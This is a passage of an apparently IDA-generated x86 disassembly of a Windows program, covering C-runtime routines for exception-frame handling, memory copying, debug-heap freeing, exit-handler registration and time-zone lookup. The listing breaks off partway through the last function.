sub_420540	proc near		; CODE XREF: sub_42CF40+2Dp

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_420610
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+arg_14]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		mov	[ebp+var_8], 0
		mov	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_4205DC
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_2C], edx
		lea	eax, [ebp+var_30]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	sub_428EE0
		call	dword ptr [eax+68h]
		add	esp, 8
		mov	[ebp+var_34], 0

loc_4205DC:				; DATA XREF: sub_420540+4Bo
		cmp	[ebp+var_4], 0
		jz	short loc_4205F9
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_420602
; ---------------------------------------------------------------------------

loc_4205F9:				; CODE XREF: sub_420540+A0j
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax

loc_420602:				; CODE XREF: sub_420540+B7j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_420540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420610	proc near		; DATA XREF: sub_420540+10o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		and	ecx, 66h
		test	ecx, ecx
		jz	short loc_420635
		mov	edx, [ebp+arg_4]
		mov	dword ptr [edx+24h], 1
		mov	eax, 1
		jmp	short loc_42068C
; ---------------------------------------------------------------------------

loc_420635:				; CODE XREF: sub_420610+12j
		push	1
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+14h]
		push	ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+10h]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		push	edx
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+0Ch]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42CBB0
		add	esp, 20h
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+24h], 0
		jnz	short loc_42067B
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_4203C0

loc_42067B:				; CODE XREF: sub_420610+5Cj
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		mov	eax, 1

loc_42068C:				; CODE XREF: sub_420610+23j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_420610	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206A0	proc near		; CODE XREF: sub_42CCA0+135p
					; sub_42CF40+52p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, [eax+10h]
		mov	esi, [eax+0Ch]
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+arg_4]
		test	ecx, ecx
		mov	edi, esi
		mov	ebx, esi
		jl	short loc_4206F9

loc_4206BE:				; CODE XREF: sub_4206A0+54j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4206C8
		call	sub_42D910

loc_4206C8:				; CODE XREF: sub_4206A0+21j
		mov	eax, [ebp+var_4]
		dec	esi
		mov	ecx, [ebp+arg_8]
		lea	edx, [esi+esi*4]
		lea	eax, [eax+edx*4]
		cmp	ecx, [eax+4]
		jle	short loc_4206DF
		cmp	ecx, [eax+8]
		jle	short loc_4206E4

loc_4206DF:				; CODE XREF: sub_4206A0+38j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4206EF

loc_4206E4:				; CODE XREF: sub_4206A0+3Dj
		mov	eax, [ebp+arg_4]
		mov	edi, ebx
		dec	eax
		mov	ebx, esi
		mov	[ebp+arg_4], eax

loc_4206EF:				; CODE XREF: sub_4206A0+42j
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jge	short loc_4206BE
		mov	eax, [ebp+arg_0]

loc_4206F9:				; CODE XREF: sub_4206A0+1Cj
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+arg_10]
		inc	esi
		mov	[ecx], esi
		mov	[edx], edi
		cmp	edi, [eax+0Ch]
		ja	short loc_42070D
		cmp	esi, edi
		jbe	short loc_420712

loc_42070D:				; CODE XREF: sub_4206A0+67j
		call	sub_42D910

loc_420712:				; CODE XREF: sub_4206A0+6Bj
		mov	ecx, [ebp+var_4]
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ecx+eax*4]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4206A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420730	proc near		; CODE XREF: sub_423364+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_420748
		push	[ebp+arg_0]
		call	sub_43ABA6	; RtlUnwind

loc_420748:				; DATA XREF: sub_420730+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_420730	endp


; =============== S U B	R O U T	I N E =======================================



sub_420750	proc near		; DATA XREF: sub_420772+Ao
					; sub_4207DA+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_420771
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_420771:				; CODE XREF: sub_420750+10j
		retn
sub_420750	endp


; =============== S U B	R O U T	I N E =======================================



sub_420772	proc near		; CODE XREF: sub_423364+67p
					; sub_423364+A7p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_420750
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_42078F:				; CODE XREF: sub_420772:loc_4207CAj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4207CC
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_4207CC
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_4207CA
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_420806
		call	dword ptr [ebx+esi*4+8]

loc_4207CA:				; CODE XREF: sub_420772+44j
		jmp	short loc_42078F
; ---------------------------------------------------------------------------

loc_4207CC:				; CODE XREF: sub_420772+2Aj
					; sub_420772+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_420772	endp


; =============== S U B	R O U T	I N E =======================================



sub_4207DA	proc near		; CODE XREF: sub_42D3ED+4Bp
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_420750
		jnz	short locret_4207FC
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_4207FC
		mov	eax, 1

locret_4207FC:				; CODE XREF: sub_4207DA+10j
					; sub_4207DA+1Bj
		retn
sub_4207DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4207FD	proc near		; CODE XREF: sub_42D810+1Ep
					; sub_42D810+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_4518EC
		jmp	short loc_420810
sub_4207FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_420806	proc near		; CODE XREF: sub_420772+4Fp
					; sub_423364+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_4518EC
		mov	ecx, [ebp+8]

loc_420810:				; CODE XREF: sub_4207FD+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_420806	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_420820	proc near		; CODE XREF: sub_40D7E4+5p
					; sub_40D95B+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_420820	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420840	proc near		; CODE XREF: sub_40E03Bj
					; sub_4241B0+590p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_420860
		cmp	edi, eax
		jb	loc_4209D8

loc_420860:				; CODE XREF: sub_420840+16j
		test	edi, 3
		jnz	short loc_42087C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_42089C
		rep movsd
		jmp	off_420988[edx*4]
; ---------------------------------------------------------------------------

loc_42087C:				; CODE XREF: sub_420840+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_420894
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_42089C+4[eax*4]
; ---------------------------------------------------------------------------

loc_420894:				; CODE XREF: sub_420840+46j
		jmp	dword ptr loc_420998[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_42089C:				; CODE XREF: sub_420840+31j
					; sub_420840+8Ej ...
		jmp	off_42091C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4208B0
		dd offset loc_4208DC
		dd offset loc_420900
; ---------------------------------------------------------------------------

loc_4208B0:				; DATA XREF: sub_420840+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_42089C
		rep movsd
		jmp	off_420988[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_4208DC:				; DATA XREF: sub_420840+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_42089C
		rep movsd
		jmp	off_420988[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_420900:				; DATA XREF: sub_420840+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_42089C
		rep movsd
		jmp	off_420988[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_42091C	dd offset loc_42097F	; DATA XREF: sub_420840:loc_42089Cr
		dd offset loc_42096C
		dd offset loc_420964
		dd offset loc_42095C
		dd offset loc_420954
		dd offset loc_42094C
		dd offset loc_420944
		dd offset loc_42093C
; ---------------------------------------------------------------------------

loc_42093C:				; CODE XREF: sub_420840:loc_42089Cj
					; DATA XREF: sub_420840+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_420944:				; CODE XREF: sub_420840:loc_42089Cj
					; DATA XREF: sub_420840+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_42094C:				; CODE XREF: sub_420840:loc_42089Cj
					; DATA XREF: sub_420840+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_420954:				; CODE XREF: sub_420840:loc_42089Cj
					; DATA XREF: sub_420840+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_42095C:				; CODE XREF: sub_420840:loc_42089Cj
					; DATA XREF: sub_420840+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_420964:				; CODE XREF: sub_420840:loc_42089Cj
					; DATA XREF: sub_420840+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_42096C:				; CODE XREF: sub_420840:loc_42089Cj
					; DATA XREF: sub_420840+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_42097F:				; CODE XREF: sub_420840:loc_42089Cj
					; DATA XREF: sub_420840:off_42091Co
		jmp	off_420988[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_420988	dd offset loc_420998	; DATA XREF: sub_420840+35r
					; sub_420840+92r ...
		dd offset loc_4209A0
		dd offset loc_4209AC
		dd offset loc_4209C0
; ---------------------------------------------------------------------------

loc_420998:				; CODE XREF: sub_420840+35j
					; sub_420840+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_4209A0:				; CODE XREF: sub_420840+35j
					; sub_420840+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4209AC:				; CODE XREF: sub_420840+35j
					; sub_420840+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_4209C0:				; CODE XREF: sub_420840+35j
					; sub_420840+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4209D8:				; CODE XREF: sub_420840+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_420A0C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_420A00
		std
		rep movsd
		cld
		jmp	off_420B20[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_420A00:				; CODE XREF: sub_420840+1B1j
					; sub_420840+208j ...
		neg	ecx
		jmp	dword ptr loc_420ACF+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_420A0C:				; CODE XREF: sub_420840+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_420A24
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_420A24+4[eax*4]
; ---------------------------------------------------------------------------

loc_420A24:				; CODE XREF: sub_420840+1D6j
					; DATA XREF: sub_420840+1DDr
		jmp	off_420B20[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_420A37+1
; ---------------------------------------------------------------------------
		pop	eax
		or	al, [edx+0]
		or	byte ptr [edx],	42h

loc_420A37:				; DATA XREF: sub_420840+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_420A00
		std
		rep movsd
		cld
		jmp	off_420B20[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_420A00
		std
		rep movsd
		cld
		jmp	off_420B20[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_420A00
		std
		rep movsd
		cld
		jmp	off_420B20[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_420AD4
		dd offset loc_420ADC
		dd offset loc_420AE4
		dd offset loc_420AEC
		dd offset loc_420AF4
; ---------------------------------------------------------------------------
		cld
		or	al, [edx+0]
		add	al, 0Bh
		inc	edx

loc_420ACF:				; DATA XREF: sub_420840+1C2r
		add	[edi], dl
		or	eax, [edx+0]

loc_420AD4:				; DATA XREF: sub_420840+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_420ADC:				; DATA XREF: sub_420840+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_420AE4:				; DATA XREF: sub_420840+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_420AEC:				; DATA XREF: sub_420840+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_420AF4:				; DATA XREF: sub_420840+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_420B17:				; CODE XREF: sub_420840+1C2j
		jmp	off_420B20[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_420B20	dd offset loc_420B30	; DATA XREF: sub_420840+1B7r
					; sub_420840:loc_420A24r ...
		dd offset loc_420B38
		dd offset loc_420B48
		dd offset loc_420B5C
; ---------------------------------------------------------------------------

loc_420B30:				; CODE XREF: sub_420840+1B7j
					; sub_420840:loc_420A24j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_420B38:				; CODE XREF: sub_420840+1B7j
					; sub_420840:loc_420A24j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_420B48:				; CODE XREF: sub_420840+1B7j
					; sub_420840:loc_420A24j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_420B5C:				; CODE XREF: sub_420840+1B7j
					; sub_420840:loc_420A24j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_420840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420B80	proc near		; CODE XREF: sub_40E123+4p
					; sub_43A5E0+1Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_420B92
		jmp	loc_420C1A
; ---------------------------------------------------------------------------

loc_420B92:				; CODE XREF: sub_420B80+Bj
		push	9
		call	sub_423280
		add	esp, 4
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		mov	[ebp+var_4], eax

loc_420BA5:				; CODE XREF: sub_420B80+7Bj
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 4
		jz	short loc_420BF7
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+14h], 1
		jz	short loc_420BF7
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 2
		jz	short loc_420BF7
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+14h], 3
		jz	short loc_420BF7
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0
		push	2Fh
		push	offset dword_43CDA0
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_420BF7
		int	3		; Trap to Debugger

loc_420BF7:				; CODE XREF: sub_420B80+34j
					; sub_420B80+3Dj ...
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_420BA5
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41CA10
		add	esp, 8
		push	9
		call	sub_423320
		add	esp, 4

loc_420C1A:				; CODE XREF: sub_420B80+Dj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_420B80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420C30	proc near		; CODE XREF: sub_40E176+Bp
					; .packed:0040ED2Fp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41BEA0
		add	esp, 8
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_420C30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420C50	proc near		; CODE XREF: sub_420D10+7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_41EA10
		push	2
		mov	eax, dword_4F4AF4
		push	eax
		call	sub_41CE90
		add	esp, 8
		mov	ecx, dword_4F4AF0
		sub	ecx, dword_4F4AF4
		add	ecx, 4
		cmp	eax, ecx
		jnb	short loc_420CDD
		push	68h
		push	offset dword_43CDAC
		push	2
		push	2
		mov	edx, dword_4F4AF4
		push	edx
		call	sub_41CE90
		add	esp, 8
		add	eax, 10h
		push	eax
		mov	eax, dword_4F4AF4
		push	eax
		call	sub_41C360
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_420CBA
		call	sub_41EA20
		xor	eax, eax
		jmp	short loc_420CFF
; ---------------------------------------------------------------------------

loc_420CBA:				; CODE XREF: sub_420C50+5Fj
		mov	ecx, dword_4F4AF0
		sub	ecx, dword_4F4AF4
		sar	ecx, 2
		mov	edx, [ebp+var_4]
		lea	eax, [edx+ecx*4]
		mov	dword_4F4AF0, eax
		mov	ecx, [ebp+var_4]
		mov	dword_4F4AF4, ecx

loc_420CDD:				; CODE XREF: sub_420C50+2Aj
		mov	edx, dword_4F4AF0
		mov	eax, [ebp+arg_0]
		mov	[edx], eax
		mov	ecx, dword_4F4AF0
		add	ecx, 4
		mov	dword_4F4AF0, ecx
		call	sub_41EA20
		mov	eax, [ebp+arg_0]

loc_420CFF:				; CODE XREF: sub_420C50+68j
		mov	esp, ebp
		pop	ebp
		retn
sub_420C50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D10	proc near		; CODE XREF: .packed:0040DBD5p
					; sub_43A8C0+8p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_420C50
		add	esp, 4
		neg	eax
		sbb	eax, eax
		neg	eax
		dec	eax
		pop	ebp
		retn
sub_420D10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D30	proc near		; DATA XREF: .packed:0043F020o
		push	ebp
		mov	ebp, esp
		push	0B6h
		push	offset dword_43CDAC
		push	2
		push	80h
		call	sub_41BE70
		add	esp, 10h
		mov	dword_4F4AF4, eax
		cmp	dword_4F4AF4, 0
		jnz	short loc_420D64
		push	18h
		call	sub_422270
		add	esp, 4

loc_420D64:				; CODE XREF: sub_420D30+28j
		mov	eax, dword_4F4AF4
		mov	dword ptr [eax], 0
		mov	ecx, dword_4F4AF4
		mov	dword_4F4AF0, ecx
		pop	ebp
		retn
sub_420D30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D80	proc near		; CODE XREF: sub_40E29B+1A2p

var_D8		= dword	ptr -0D8h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_36		= dword	ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_A		= dword	ptr -0Ah
var_6		= dword	ptr -6
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0D8h
		lea	eax, [ebp+var_24]
		push	eax
		call	dword_4F5404	; GetLocalTime
		lea	ecx, [ebp+var_10]
		push	ecx
		call	dword_4F5480	; GetSystemTime
		mov	edx, [ebp+var_6]
		and	edx, 0FFFFh
		xor	eax, eax
		mov	ax, word ptr dword_4F3418+2
		cmp	edx, eax
		jnz	short loc_420E18
		mov	ecx, [ebp-8]
		and	ecx, 0FFFFh
		xor	edx, edx
		mov	dx, word ptr dword_4F3418
		cmp	ecx, edx
		jnz	short loc_420E18
		mov	eax, [ebp+var_A]
		and	eax, 0FFFFh
		xor	ecx, ecx
		mov	cx, word_4F3416
		cmp	eax, ecx
		jnz	short loc_420E18
		mov	edx, [ebp+var_10+2]
		and	edx, 0FFFFh
		xor	eax, eax
		mov	ax, word ptr dword_4F3410+2
		cmp	edx, eax
		jnz	short loc_420E18
		mov	ecx, [ebp+var_10]
		and	ecx, 0FFFFh
		xor	edx, edx
		mov	dx, word ptr dword_4F3410
		cmp	ecx, edx
		jnz	short loc_420E18
		mov	eax, dword_4F3408
		mov	[ebp+var_D8], eax
		jmp	loc_420EA0
; ---------------------------------------------------------------------------

loc_420E18:				; CODE XREF: sub_420D80+30j
					; sub_420D80+46j ...
		lea	ecx, [ebp+var_D0]
		push	ecx
		call	dword_4F547C	; GetTimeZoneInformation
		mov	[ebp+var_D4], eax
		cmp	[ebp+var_D4], 0FFFFFFFFh
		jz	short loc_420E68
		cmp	[ebp+var_D4], 2
		jnz	short loc_420E5C
		mov	edx, [ebp+var_36]
		and	edx, 0FFFFh
		test	edx, edx
		jz	short loc_420E5C
		cmp	[ebp+var_28], 0
		jz	short loc_420E5C
		mov	[ebp+var_D8], 1
		jmp	short loc_420E66
; ---------------------------------------------------------------------------

loc_420E5C:				; CODE XREF: sub_420D80+BBj
					; sub_420D80+C8j ...
		mov	[ebp+var_D8], 0

loc_420E66:				; CODE XREF: sub_420D80+DAj
		jmp	short loc_420E72
; ---------------------------------------------------------------------------

loc_420E68:				; CODE XREF: sub_420D80+B2j
		mov	[ebp+var_D8], 0FFFFFFFFh

loc_420E72:				; CODE XREF: sub_420D80:loc_420E66j
		mov	eax, [ebp+var_D8]
		mov	dword_4F3408, eax
		mov	ecx, [ebp+var_10]
		mov	dword_4F3410, ecx
		mov	edx, [ebp-0Ch]
		mov	dword ptr byte_4F3414, edx
		mov	eax, [ebp+var_A+2]
		mov	dword_4F3418, eax
		mov	ecx, [ebp+var_6+2]
		mov	dword_4F341C, ecx

loc_420EA0:				; CODE XREF: sub_420D80+93j
		mov	edx, [ebp+var_D8]
		push	edx
